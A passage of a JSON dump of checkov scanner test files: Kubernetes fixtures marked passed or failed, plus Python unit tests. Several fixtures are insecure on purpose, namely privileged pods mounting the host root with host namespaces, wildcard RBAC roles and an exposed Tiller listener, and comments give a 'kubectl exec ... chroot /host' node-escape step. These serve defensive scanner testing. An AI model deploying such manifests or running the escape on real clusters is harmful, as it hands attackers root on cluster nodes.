\"--argumentsRealm.passwd.$(ADMIN_USER)=$(ADMIN_PASSWORD)\",  \"--argumentsRealm.roles.$(ADMIN_USER)=admin\", \"--httpPort=8080\"]\n          env:\n            - name: POD_NAME\n              valueFrom:\n                fieldRef:\n                  fieldPath: metadata.name\n            - name: JAVA_OPTS\n              value: >\n\n\n            - name: JENKINS_OPTS\n              value: \"\"\n            - name: JENKINS_SLAVE_AGENT_PORT\n              value: \"50000\"\n            - name: ADMIN_PASSWORD\n              valueFrom:\n                secretKeyRef:\n                  name: RELEASE-NAME-jenkins\n                  key: jenkins-admin-password\n            - name: ADMIN_USER\n              valueFrom:\n                secretKeyRef:\n                  name: RELEASE-NAME-jenkins\n                  key: jenkins-admin-user\n          ports:\n            - containerPort: 8080\n              name: http\n            - containerPort: 50000\n              name: agentlistener\n          livenessProbe:\n            httpGet:\n              path: \"/login\"\n              port: http\n            initialDelaySeconds: 90\n            periodSeconds: 10\n            timeoutSeconds: 5\n            failureThreshold: 5\n          readinessProbe:\n            httpGet:\n              path: \"/login\"\n              port: http\n            initialDelaySeconds: 60\n            periodSeconds: 10\n            timeoutSeconds: 5\n            failureThreshold: 3\n\n          resources:\n            limits:\n              cpu: 2000m\n              memory: 4096Mi\n            requests:\n              cpu: 50m\n              memory: 256Mi\n          volumeMounts:\n            - mountPath: /tmp\n              name: tmp\n            - mountPath: /var/jenkins_home\n              name: jenkins-home\n              readOnly: false\n            - mountPath: /var/jenkins_config\n              name: jenkins-config\n              readOnly: true\n            - mountPath: /usr/share/jenkins/ref/secrets/\n              name: secrets-dir\n              readOnly: false\n            - mountPath: /usr/share/jenkins/ref/plugins/\n              name: plugin-dir\n              readOnly: false\n\n      volumes:\n        - name: plugins\n          emptyDir: {}\n        - name: tmp\n          emptyDir: {}\n        - name: jenkins-config\n          configMap:\n            name: RELEASE-NAME-jenkins\n        - name: secrets-dir\n          emptyDir: {}\n        - name: plugin-dir\n          emptyDir: {}\n        - name: jenkins-home\n          persistentVolumeClaim:\n            claimName: RELEASE-NAME-jenkins\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ShareHost/memcachedStatefulSet-PASSED.yaml",
    "content": "---\n# Source: memcached/templates/svc.yaml\napiVersion: v1\nkind: Service\nmetadata:\n  name: RELEASE-NAME-memcached\n  namespace: default\n  labels:\n    app.kubernetes.io/name: memcached\n    helm.sh/chart: memcached-3.2.3\n    app.kubernetes.io/instance: RELEASE-NAME\n    app.kubernetes.io/version: \"1.5.20\"\n    app.kubernetes.io/managed-by: Helm\n  annotations:\n    {}\nspec:\n  clusterIP: None\n  ports:\n    - name: memcache\n      port: 11211\n      targetPort: memcache\n  selector:\n    app.kubernetes.io/name: memcached\n    app.kubernetes.io/instance: RELEASE-NAME\n---\n# Source: memcached/templates/statefulset.yaml\napiVersion: apps/v1\nkind: StatefulSet\nmetadata:\n  name: RELEASE-NAME-memcached\n  namespace: default\n  labels:\n    app.kubernetes.io/name: memcached\n    helm.sh/chart: memcached-3.2.3\n    app.kubernetes.io/instance: RELEASE-NAME\n    app.kubernetes.io/version: \"1.5.20\"\n    app.kubernetes.io/managed-by: Helm\nspec:\n  selector:\n    matchLabels:\n      app.kubernetes.io/name: memcached\n      app.kubernetes.io/instance: RELEASE-NAME\n  serviceName: RELEASE-NAME-memcached\n  replicas: 3\n  template:\n    metadata:\n      labels:\n        app.kubernetes.io/name: memcached\n        app.kubernetes.io/instance: RELEASE-NAME\n    spec:\n      securityContext:\n        fsGroup: 1001\n      affinity:\n        podAntiAffinity:\n          requiredDuringSchedulingIgnoredDuringExecution:\n            - topologyKey: \"kubernetes.io/hostname\"\n              labelSelector:\n                matchLabels:\n                  app.kubernetes.io/name: memcached\n                  app.kubernetes.io/instance: RELEASE-NAME\n      containers:\n        - name: RELEASE-NAME-memcached\n          image: memcached:1.5.20\n          imagePullPolicy: \"\"\n          securityContext:\n            runAsUser: 1001\n          command:\n            - memcached\n            - -m 64\n            - -o\n            - modern\n            - -v\n          ports:\n            - name: memcache\n              containerPort: 11211\n          livenessProbe:\n            tcpSocket:\n              port: memcache\n            initialDelaySeconds: 30\n            timeoutSeconds: 5\n          readinessProbe:\n            tcpSocket:\n              port: memcache\n            initialDelaySeconds: 5\n            timeoutSeconds: 1\n          resources:\n            requests:\n              cpu: 50m\n              memory: 64Mi\n  updateStrategy:\n    type: RollingUpdate\n---\n# Source: memcached/templates/pdb.yaml\napiVersion: policy/v1beta1\nkind: PodDisruptionBudget\nmetadata:\n  name: RELEASE-NAME-memcached\n  namespace: default\n  annotations:\n    helm.sh/hook: \"post-upgrade, post-install\"\n    helm.sh/hook-delete-policy: \"before-hook-creation\"\n  labels:\n    app.kubernetes.io/name: memcached\n    helm.sh/chart: memcached-3.2.3\n    app.kubernetes.io/instance: RELEASE-NAME\n    app.kubernetes.io/version: \"1.5.20\"\n    app.kubernetes.io/managed-by: Helm\nspec:\n  selector:\n    matchLabels:\n      app.kubernetes.io/name: memcached\n      app.kubernetes.io/instance: RELEASE-NAME\n  minAvailable: 2\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ShareHost/privilegedDaemonSet-FAILED.yaml",
    "content": "# Access worker node file system from within a pod \napiVersion: apps/v1\nkind: DaemonSet\nmetadata:\n  name: privileged\nspec:\n  selector:\n    matchLabels:\n      name: privileged-container\n  template:\n    metadata:\n      labels:\n        name: privileged-container\n    spec:\n      containers:\n      - name: busybox\n        image: busybox\n        resources:\n          limits:\n            cpu: 200m\n            memory: 100Mi\n          requests:\n            cpu: 100m\n            memory: 50Mi\n        stdin: true\n        securityContext:\n          privileged: true\n        volumeMounts:\n        - name: host-root-volume\n          mountPath: /host\n          readOnly: false\n      volumes:\n      - name: host-root-volume\n        hostPath:\n          path: /\n      hostNetwork: true\n      hostIPC: true\n      hostPID: true\n      restartPolicy: Always\n# And access host: kubectl exec -ti privileged-xxxxx chroot /host\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ShareHost/privilegedPod-FAILED.yaml",
    "content": "# Access worker node file system from within a pod \napiVersion: v1\nkind: Pod\nmetadata:\n  name: privileged\nspec:\n  containers:\n  - name: busybox\n    image: busybox\n    resources:\n      limits:\n        cpu: 200m\n        memory: 100Mi\n      requests:\n        cpu: 100m\n        memory: 50Mi\n    stdin: true\n    securityContext:\n      privileged: true\n    volumeMounts:\n    - name: host-root-volume\n      mountPath: /host\n      readOnly: false\n  volumes:\n  - name: host-root-volume\n    hostPath:\n      path: /\n  hostNetwork: true\n  hostPID: true\n  hostIPC: true\n  restartPolicy: Always\n# And access host: kubectl exec -ti privileged-xxxxx chroot /host\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ShareHost/privilegedPod-PASS.yaml",
    "content": "# Access worker node file system from within a pod \napiVersion: v1\nkind: Pod\nmetadata:\n  name: privileged\nspec:\n  containers:\n  - name: busybox\n    image: busybox\n    resources:\n      limits:\n        cpu: 200m\n        memory: 100Mi\n      requests:\n        cpu: 100m\n        memory: 50Mi\n    stdin: true\n    securityContext:\n      privileged: true\n    volumeMounts:\n    - name: host-root-volume\n      mountPath: /host\n      readOnly: false\n  volumes:\n  - name: host-root-volume\n    hostPath:\n      path: /\n  restartPolicy: Always\n# And access host: kubectl exec -ti privileged-xxxxx chroot /host\n"
  },
  {
    "path": "tests/kubernetes/checks/example_Suppressed/suppress-checks-PASSED.yaml",
    "content": "## ['Pod', 'Deployment', 'DaemonSet', 'StatefulSet', 'ReplicaSet', 'ReplicationController', 'Job', 'CronJob']\n## Run for CKV_K8S_11 - CPU Limits are not set\napiVersion: v1\nkind: Pod\nmetadata:\n  labels: \n    test: liveness\n  name: liveness-exec\n  annotations:\n    checkov.io/skip1: CKV_K8S_20=I don't care about Privilege Escalation in the first container in this pod\n    checkov.io/skip2: CKV_K8S_14\n    checkov.io/skip3: CKV_K8S_11=I don't care about CPU limits\nspec: \n  containers: \n  - name: liveness\n    image: k8s.gcr.io/busybox\n    args:\n    - /bin/sh\n    - -c \n    - touch /tmp/healthy; sleep 30; rm -rf /tmp/healthy; sleep 600\n    livenessProbe: \n      exec: \n        command:\n        - cat\n        - /tmp/healthy\n      initialDelaySeconds: 5\n      periodSeconds: 5\n  - name: noliveness\n    image: k8s.gcr.io/busybox\n    args:\n      - /bin/sh\n      - -c\n      - touch /tmp/healthy; sleep 30; rm -rf /tmp/healthy; sleep 600\n---\napiVersion: v1\nkind: Pod\nmetadata:\n  labels:\n    test: bcliveness\n  name: bcliveness-exec\n  annotations:\n    bridgecrew.io/skip1: CKV_K8S_20=I don't care about Privilege Escalation in the first container in this pod\n    bridgecrew.io/skip2: CKV_K8S_14\n    bridgecrew.io/skip3: CKV_K8S_11=I don't care about CPU limits\nspec:\n  containers:\n    - name: bcliveness\n      image: k8s.gcr.io/busybox\n      args:\n        - /bin/sh\n        - -c\n        - touch /tmp/healthy; sleep 30; rm -rf /tmp/healthy; sleep 600\n      livenessProbe:\n        exec:\n          command:\n            - cat\n            - /tmp/healthy\n        initialDelaySeconds: 5\n        periodSeconds: 5\n    - name: bcnoliveness\n      image: k8s.gcr.io/busybox\n      args:\n        - /bin/sh\n        - -c\n        - touch /tmp/healthy; sleep 30; rm -rf /tmp/healthy; sleep 600\n---\napiVersion: apps/v1\nkind: StatefulSet\nmetadata:\n  name: web\n  annotations:\n    checkov.io/skip1: CKV_K8S_11\nspec:\n  selector:\n    matchLabels:\n      app: nginx # has to match .spec.template.metadata.labels\n  serviceName: \"nginx\"\n  replicas: 3 # by default is 1\n  template:\n    metadata:\n      labels:\n        app: nginx # has to match .spec.selector.matchLabels\n    spec:\n      terminationGracePeriodSeconds: 10\n      containers:\n        - name: nginx\n          image: k8s.gcr.io/nginx-slim:0.8\n          ports:\n            - containerPort: 80\n              name: web\n          volumeMounts:\n            - name: www\n              mountPath: /usr/share/nginx/html\n  volumeClaimTemplates:\n    - metadata:\n        name: www\n      spec:\n        accessModes: [ \"ReadWriteOnce\" ]\n        storageClassName: \"my-storage-class\"\n        resources:\n          requests:\n            storage: 1Gi\n---\napiVersion: extensions/v1beta1\nkind: Deployment\nmetadata:\n  name: hello\n  labels:\n    app: hello\n  annotations:\n    checkov.io/skip1: CKV_K8S_1=I am not a valid suppress for this check\nspec:\n  replicas: 1\n  selector:\n    matchLabels:\n      app: hello\n  template:\n    metadata:\n      labels:\n        app: hello\n    spec:\n      containers:\n        - image: k8s.gcr.io/echoserver:1.4\n          name: hello\n          securityContext:\n            allowPrivilegeEscalation: false\n            runAsUser: 0\n---\napiVersion: v1\nkind: ReplicationController\nmetadata:\n  name: myapp\n  labels:\n    app: myapp\n  annotations:\n    checkov.io/skip: CKV_K8S_11=I don't need CPU\nspec:\n  replicas: 2\n  selector:\n    app: myapp\n    deployment: initial\n  template:\n    metadata:\n      labels:\n        app: myapp\n        deployment: initial\n    spec:\n      containers:\n        - name: myapp\n          image: myregistry.com/myapp:5c3dda6b\n          ports:\n            - containerPort: 80\n          imagePullPolicy: IfNotPresent\n---\napiVersion: apps/v1\nkind: DaemonSet\nmetadata:\n  name: passed-but-skipped\n  annotations:\n    checkov.io/skip99: CKV_K8S_11=I passed but I am skipped\nspec:\n  selector:\n    matchLabels:\n      name: privileged-container\n  template:\n    metadata:\n      labels:\n        name: privileged-container\n    spec:\n      containers:\n        - name: busybox\n          image: busybox\n          resources:\n            limits:\n              cpu: 200m\n              memory: 100Mi\n            requests:\n              cpu: 100m\n              memory: 50Mi\n          stdin: true\n          securityContext:\n            privileged: true\n          volumeMounts:\n            - name: host-root-volume\n              mountPath: /host\n              readOnly: false\n      volumes:\n        - name: host-root-volume\n          hostPath:\n            path: /\n      hostNetwork: true\n      hostPID: true\n      restartPolicy: Always\n---\napiVersion: apps/v1\nkind: ReplicaSet\nmetadata:\n  name: frontend\n  labels:\n    app: guestbook\n    tier: frontend\n  annotations:\n    checkov.io/skip99: CKV_K8S_11\nspec:\n  # modify replicas according to your case\n  replicas: 3\n  selector:\n    matchLabels:\n      tier: frontend\n  template:\n    metadata:\n      labels:\n        tier: frontend\n    spec:\n      containers:\n        - name: php-redis\n          image: gcr.io/google_samples/gb-frontend:v3\n---\napiVersion: batch/v1beta1\nkind: CronJob\nmetadata:\n  name: hello\n  annotations:\n    checkov.io/skipME: CKV_K8S_11\nspec:\n  schedule: \"*/1 * * * *\"\n  jobTemplate:\n    spec:\n      template:\n        spec:\n          containers:\n            - name: hello\n              image: busybox\n              args:\n                - /bin/sh\n                - -c\n                - date; echo Hello from the Kubernetes cluster\n          restartPolicy: OnFailure\n          hostPID: true\n          hostIPC: true\n          hostNetwork: true\n---\napiVersion: batch/v1\nkind: Job\nmetadata:\n  name: pi\n  annotations:\n    checkov.io/skip1: CKV_K8S_11=My job is BestEffort QoS\nspec:\n  template:\n    spec:\n      containers:\n        - name: pi\n          image: perl\n          command: [\"perl\",  \"-Mbignum=bpi\", \"-wle\", \"print bpi(2000)\"]\n      restartPolicy: Never\n  backoffLimit: 4\n"
  },
  {
    "path": "tests/kubernetes/checks/example_Tiller/nginx-deployment-PASSED.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: my-nginx\n  labels:\n    app: nginx\nspec:\n  replicas: 3\n  selector:\n    matchLabels:\n      app: nginx\n  template:\n    metadata:\n      labels:\n        app: nginx\n    spec:\n      containers:\n      - name: nginx\n        image: nginx:1.14.2\n        ports:\n        - containerPort: 80\n\n"
  },
  {
    "path": "tests/kubernetes/checks/example_Tiller/tiller-deployment.json",
    "content": "{\n  \"apiVersion\": \"extensions/v1beta1\",\n  \"kind\": \"Deployment\",\n  \"metadata\": {\n    \"creationTimestamp\": null,\n    \"labels\": {\n      \"app\": \"helm\",\n      \"name\": \"tiller\"\n    },\n    \"name\": \"tiller-deploy\",\n    \"namespace\": \"kube-system\"\n  },\n  \"spec\": {\n    \"strategy\": {},\n    \"template\": {\n      \"metadata\": {\n        \"creationTimestamp\": null,\n        \"labels\": {\n          \"app\": \"helm\",\n          \"name\": \"tiller\"\n        }\n      },\n      \"spec\": {\n        \"containers\": [\n          {\n            \"env\": [\n              {\n                \"name\": \"TILLER_NAMESPACE\",\n                \"value\": \"kube-system\"\n              },\n              {\n                \"name\": \"TILLER_HISTORY_MAX\",\n                \"value\": \"0\"\n              }\n            ],\n            \"image\": \"gcr.io/kubernetes-helm/tiller:v2.8.0\",\n            \"imagePullPolicy\": \"IfNotPresent\",\n            \"livenessProbe\": {\n              \"httpGet\": {\n                \"path\": \"/liveness\",\n                \"port\": 44135\n              },\n              \"initialDelaySeconds\": 1,\n              \"timeoutSeconds\": 1\n            },\n            \"name\": \"tiller\",\n            \"ports\": [\n              {\n                \"containerPort\": 44134,\n                \"name\": \"tiller\"\n              }\n            ],\n            \"readinessProbe\": {\n              \"httpGet\": {\n                \"path\": \"/readiness\",\n                \"port\": 44135\n              },\n              \"initialDelaySeconds\": 1,\n              \"timeoutSeconds\": 1\n            },\n            \"resources\": {}\n          }\n        ]\n      }\n    }\n  },\n  \"status\": {}\n}"
  },
  {
    "path": "tests/kubernetes/checks/example_TillerDeploymentListener/nginx-deployment-UNKNOWN.yaml",
    "content": "items:\n- apiVersion: apps/v1\n  kind: Deployment\n  metadata:\n    name: my-nginx\n    labels:\n      app: nginx\n  spec:\n    replicas: 3\n    selector:\n      matchLabels:\n        app: nginx\n    template:\n      metadata:\n        labels:\n          app: nginx\n      spec:\n        containers:\n        - name: nginx\n          image: nginx:1.14.2\n          ports:\n          - containerPort: 80\n- apiVersion: apps/v1\n  kind: Deployment\n  metadata:\n    name: tiller\n    labels:\n      app: tiller\n  spec:\n    replicas: 3\n    selector:\n      matchLabels:\n        app: nginx\n    template:\n      metadata:\n        labels:\n          app: nginx\n      spec:\n        containers:\n        - name: tiller\n          image: nginx:1.14.2\n          ports:\n          - containerPort: 80"
  },
  {
    "path": "tests/kubernetes/checks/example_TillerDeploymentListener/tiller-deployment_FAILED.json",
    "content": "{\n  \"apiVersion\": \"extensions/v1beta1\",\n  \"kind\": \"Deployment\",\n  \"metadata\": {\n    \"creationTimestamp\": null,\n    \"labels\": {\n      \"app\": \"helm\",\n      \"name\": \"tiller\"\n    },\n    \"name\": \"tiller-deploy\",\n    \"namespace\": \"kube-system\"\n  },\n  \"spec\": {\n    \"strategy\": {},\n    \"template\": {\n      \"metadata\": {\n        \"creationTimestamp\": null,\n        \"labels\": {\n          \"app\": \"helm\",\n          \"name\": \"tiller\"\n        }\n      },\n      \"spec\": {\n        \"containers\": [\n          {\n            \"env\": [\n              {\n                \"name\": \"TILLER_NAMESPACE\",\n                \"value\": \"kube-system\"\n              },\n              {\n                \"name\": \"TILLER_HISTORY_MAX\",\n                \"value\": \"0\"\n              }\n            ],\n            \"image\": \"gcr.io/kubernetes-helm/tiller:v2.8.0\",\n            \"imagePullPolicy\": \"IfNotPresent\",\n            \"livenessProbe\": {\n              \"httpGet\": {\n                \"path\": \"/liveness\",\n                \"port\": 44135\n              },\n              \"initialDelaySeconds\": 1,\n              \"timeoutSeconds\": 1\n            },\n            \"name\": \"tiller\",\n            \"ports\": [\n              {\n                \"containerPort\": 44134,\n                \"name\": \"tiller\"\n              }\n            ],\n            \"readinessProbe\": {\n              \"httpGet\": {\n                \"path\": \"/readiness\",\n                \"port\": 44135\n              },\n              \"initialDelaySeconds\": 1,\n              \"timeoutSeconds\": 1\n            },\n            \"resources\": {}\n          }\n        ]\n      }\n    }\n  },\n  \"status\": {}\n}"
  },
  {
    "path": "tests/kubernetes/checks/example_TillerDeploymentListener/tiller-deployment_FAILED_WRONGARG.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: tiller\n  labels:\n    app: tiller\nspec:\n  progressDeadlineSeconds: 600\n  replicas: 1\n  revisionHistoryLimit: 10\n  selector:\n    matchLabels:\n      app: helm\n      name: tiller\n  template:\n    metadata:\n      creationTimestamp: null\n      labels:\n        app: helm\n        name: tiller\n    spec:\n      automountServiceAccountToken: true\n      containers:\n      - args:\n        - --listen=0.0.0.0:44134\n        env:\n        - name: TILLER_NAMESPACE\n          value: kube-system\n        - name: TILLER_HISTORY_MAX\n          value: \"0\"\n        image: gcr.io/kubernetes-helm/tiller:v2.16.9\n        name: tiller\n        ports:\n        - containerPort: 44134\n          name: tiller\n          protocol: TCP\n        - containerPort: 44135\n          name: http\n          protocol: TCP"
  },
  {
    "path": "tests/kubernetes/checks/example_TillerDeploymentListener/tiller-deployment_PASSED_LOCALHOST.json",
    "content": "{\n  \"apiVersion\": \"extensions/v1beta1\",\n  \"kind\": \"Deployment\",\n  \"metadata\": {\n    \"creationTimestamp\": null,\n    \"labels\": {\n      \"app\": \"helm\",\n      \"name\": \"tiller\"\n    },\n    \"name\": \"tiller-deploy\",\n    \"namespace\": \"kube-system\"\n  },\n  \"spec\": {\n    \"strategy\": {},\n    \"template\": {\n      \"metadata\": {\n        \"creationTimestamp\": null,\n        \"labels\": {\n          \"app\": \"helm\",\n          \"name\": \"tiller\"\n        }\n      },\n      \"spec\": {\n        \"containers\": [\n          {\n            \"args\": [\"--listen=localhost:12345\"],\n            \"env\": [\n              {\n                \"name\": \"TILLER_NAMESPACE\",\n                \"value\": \"kube-system\"\n              },\n              {\n                \"name\": \"TILLER_HISTORY_MAX\",\n                \"value\": \"0\"\n              }\n            ],\n            \"image\": \"gcr.io/kubernetes-helm/tiller:v2.8.0\",\n            \"imagePullPolicy\": \"IfNotPresent\",\n            \"livenessProbe\": {\n              \"httpGet\": {\n                \"path\": \"/liveness\",\n                \"port\": 44135\n              },\n              \"initialDelaySeconds\": 1,\n              \"timeoutSeconds\": 1\n            },\n            \"name\": \"tiller\",\n            \"ports\": [\n              {\n                \"containerPort\": 44134,\n                \"name\": \"tiller\"\n              }\n            ],\n            \"readinessProbe\": {\n              \"httpGet\": {\n                \"path\": \"/readiness\",\n                \"port\": 44135\n              },\n              \"initialDelaySeconds\": 1,\n              \"timeoutSeconds\": 1\n            },\n            \"resources\": {}\n          }\n        ]\n      }\n    }\n  },\n  \"status\": {}\n}"
  },
  {
    "path": "tests/kubernetes/checks/example_TillerDeploymentListener/tiller-deployment_PASSED_LOOPBACK.json",
    "content": "{\n  \"apiVersion\": \"extensions/v1beta1\",\n  \"kind\": \"Deployment\",\n  \"metadata\": {\n    \"creationTimestamp\": null,\n    \"labels\": {\n      \"app\": \"helm\",\n      \"name\": \"tiller\"\n    },\n    \"name\": \"tiller-deploy\",\n    \"namespace\": \"kube-system\"\n  },\n  \"spec\": {\n    \"strategy\": {},\n    \"template\": {\n      \"metadata\": {\n        \"creationTimestamp\": null,\n        \"labels\": {\n          \"app\": \"helm\",\n          \"name\": \"tiller\"\n        }\n      },\n      \"spec\": {\n        \"containers\": [\n          {\n            \"args\": [\"--listen=127.0.0.1:12345\"],\n            \"env\": [\n              {\n                \"name\": \"TILLER_NAMESPACE\",\n                \"value\": \"kube-system\"\n              },\n              {\n                \"name\": \"TILLER_HISTORY_MAX\",\n                \"value\": \"0\"\n              }\n            ],\n            \"image\": \"gcr.io/kubernetes-helm/tiller:v2.8.0\",\n            \"imagePullPolicy\": \"IfNotPresent\",\n            \"livenessProbe\": {\n              \"httpGet\": {\n                \"path\": \"/liveness\",\n                \"port\": 44135\n              },\n              \"initialDelaySeconds\": 1,\n              \"timeoutSeconds\": 1\n            },\n            \"name\": \"tiller\",\n            \"ports\": [\n              {\n                \"containerPort\": 44134,\n                \"name\": \"tiller\"\n              }\n            ],\n            \"readinessProbe\": {\n              \"httpGet\": {\n                \"path\": \"/readiness\",\n                \"port\": 44135\n              },\n              \"initialDelaySeconds\": 1,\n              \"timeoutSeconds\": 1\n            },\n            \"resources\": {}\n          }\n        ]\n      }\n    }\n  },\n  \"status\": {}\n}"
  },
  {
    "path": "tests/kubernetes/checks/example_TillerService/tiller-services.yaml",
    "content": "apiVersion: v1\nitems:\n- apiVersion: v1\n  kind: Service\n  metadata:\n    labels:\n      service: flask-svc\n    name: flask-svc\n  spec:\n    clusterIP: 10.103.37.236\n    externalTrafficPolicy: Cluster\n    ports:\n    - nodePort: 32061\n      port: 5000\n      protocol: TCP\n      targetPort: 5000\n    selector:\n      app: hello-flask\n    sessionAffinity: None\n    type: NodePort\n  status:\n    loadBalancer: {}\n- apiVersion: v1\n  # This one fails because it finds the label.\n  kind: Service\n  metadata:\n    labels:\n      app: helm\n      name: tiller\n    name: tiller-deploy\n    namespace: kube-system\n  spec:\n    clusterIP: 10.99.167.51\n    ports:\n    - name: tiller\n      port: 44134\n      protocol: TCP\n      targetPort: tiller\n    selector:\n      app: helm\n      name: tiller\n    sessionAffinity: None\n    type: ClusterIP\n  status:\n    loadBalancer: {}\n- apiVersion: v1\n  # This one fails because it finds the selector.\n  kind: Service\n  metadata:\n    name: tiller-deploy\n    namespace: kube-system\n  spec:\n    clusterIP: 10.99.167.51\n    ports:\n    - name: tiller\n      port: 44134\n      protocol: TCP\n      targetPort: tiller\n    selector:\n      app: helm\n      name: tiller\n    sessionAffinity: None\n    type: ClusterIP\n  status:\n    loadBalancer: {}\nkind: List\nmetadata:\n  resourceVersion: \"\"\n  selfLink: \"\"\n"
  },
  {
    "path": "tests/kubernetes/checks/example_WildcardEntities/nginx-app.yaml",
    "content": "apiVersion: v1\nkind: Service\nmetadata:\n  name: my-nginx-svc\n  labels:\n    app: nginx\nspec:\n  type: LoadBalancer\n  ports:\n    - port: 80\n  selector:\n    app: nginx\n---\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: my-nginx\n  labels:\n    app: nginx\nspec:\n  replicas: 3\n  selector:\n    matchLabels:\n      app: nginx\n  template:\n    metadata:\n      labels:\n        app: nginx\n    spec:\n      containers:\n        - name: nginx\n          image: nginx:1.14.2\n          ports:\n            - containerPort: 80\n---\napiVersion: policy/v1beta1\nkind: PodSecurityPolicy\nmetadata:\n  name: restricted\n  annotations:\n    seccomp.security.alpha.kubernetes.io/allowedProfileNames: 'docker/default,runtime/default'\n    apparmor.security.beta.kubernetes.io/allowedProfileNames: 'runtime/default'\n    seccomp.security.alpha.kubernetes.io/defaultProfileName:  'runtime/default'\n    apparmor.security.beta.kubernetes.io/defaultProfileName:  'runtime/default'\nspec:\n  privileged: false\n  # Required to prevent escalations to root.\n  allowPrivilegeEscalation: false\n  # This is redundant with non-root + disallow privilege escalation,\n  # but we can provide it for defense in depth.\n  requiredDropCapabilities:\n    - ALL\n  # Allow core volume types.\n  volumes:\n    - 'configMap'\n    - 'emptyDir'\n    - 'projected'\n    - 'secret'\n    - 'downwardAPI'\n    # Assume that persistentVolumes set up by the cluster admin are safe to use.\n    - 'persistentVolumeClaim'\n  hostNetwork: false\n  hostIPC: false\n  hostPID: false\n  runAsUser:\n    # Require the container to run without root privileges.\n    rule: 'MustRunAsNonRoot'\n  seLinux:\n    # This policy assumes the nodes are using AppArmor rather than SELinux.\n    rule: 'RunAsAny'\n  supplementalGroups:\n    rule: 'MustRunAs'\n    ranges:\n      # Forbid adding the root group.\n      - min: 1\n        max: 65535\n  fsGroup:\n    rule: 'MustRunAs'\n    ranges:\n      # Forbid adding the root group.\n      - min: 1\n        max: 65535\n  readOnlyRootFilesystem: false\n"
  },
  {
    "path": "tests/kubernetes/checks/example_WildcardRoles/role-failed-1.yaml",
    "content": "---\nkind: Role\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n  name: test-should-fail-1\n  namespace: test\nrules:\n- apiGroups: [\"\", \"extensions\", \"apps\"]\n  resources: [\"*\"]\n  verbs: [\"\"]"
  },
  {
    "path": "tests/kubernetes/checks/example_WildcardRoles/role-failed-2.yaml",
    "content": "---\nkind: Role\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n  name: test-should-fail-2\n  namespace: test\nrules:\n- apiGroups: [\"\", \"extensions\", \"apps\"]\n  resources: [\"example\"]\n  verbs: [\"example\", \"*\"]"
  },
  {
    "path": "tests/kubernetes/checks/example_WildcardRoles/role-failed-3.yaml",
    "content": "---\nkind: ClusterRole\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n  name: test-should-fail-3\n  namespace: test\nrules:\n- apiGroups: [\"*\", \"extensions\", \"apps\"]\n  resources: [\"example\"]\n  verbs: [\"example\"]"
  },
  {
    "path": "tests/kubernetes/checks/example_WildcardRoles/role-passed-1.yaml",
    "content": "---\nkind: Role\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n  name: test-should-pass-3\n  namespace: test\nrules:\n- apiGroups: [\"extensions\", \"apps\"]\n  resources: [\"example\"]\n  verbs: [\"example\"]"
  },
  {
    "path": "tests/kubernetes/checks/example_WildcardRoles/role-passed-2.yaml",
    "content": "---\nkind: Role\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n  name: test-should-pass-2\n  namespace: test\nrules:"
  },
  {
    "path": "tests/kubernetes/checks/test_AllowPrivilegeEscalationPSP.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.AllowPrivilegeEscalationPSP import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAllowPrivilegeEscalationPSP(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_PSP\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n    def test_summary_skip_check(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_PSP\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(skip_checks=[check.id]))\n        for record in report.failed_checks:\n            self.assertNotEqual(record.check_id,check.id,\"check should be skipped\")\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_AllowProvilegeEscalation.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.AllowPrivilegeEscalation import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAllowPrivilegeEscalation(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_AllowPrivilegeEscalation\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 3)\n        self.assertEqual(summary['failed'], 4)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_AllowedCapabilities.py",
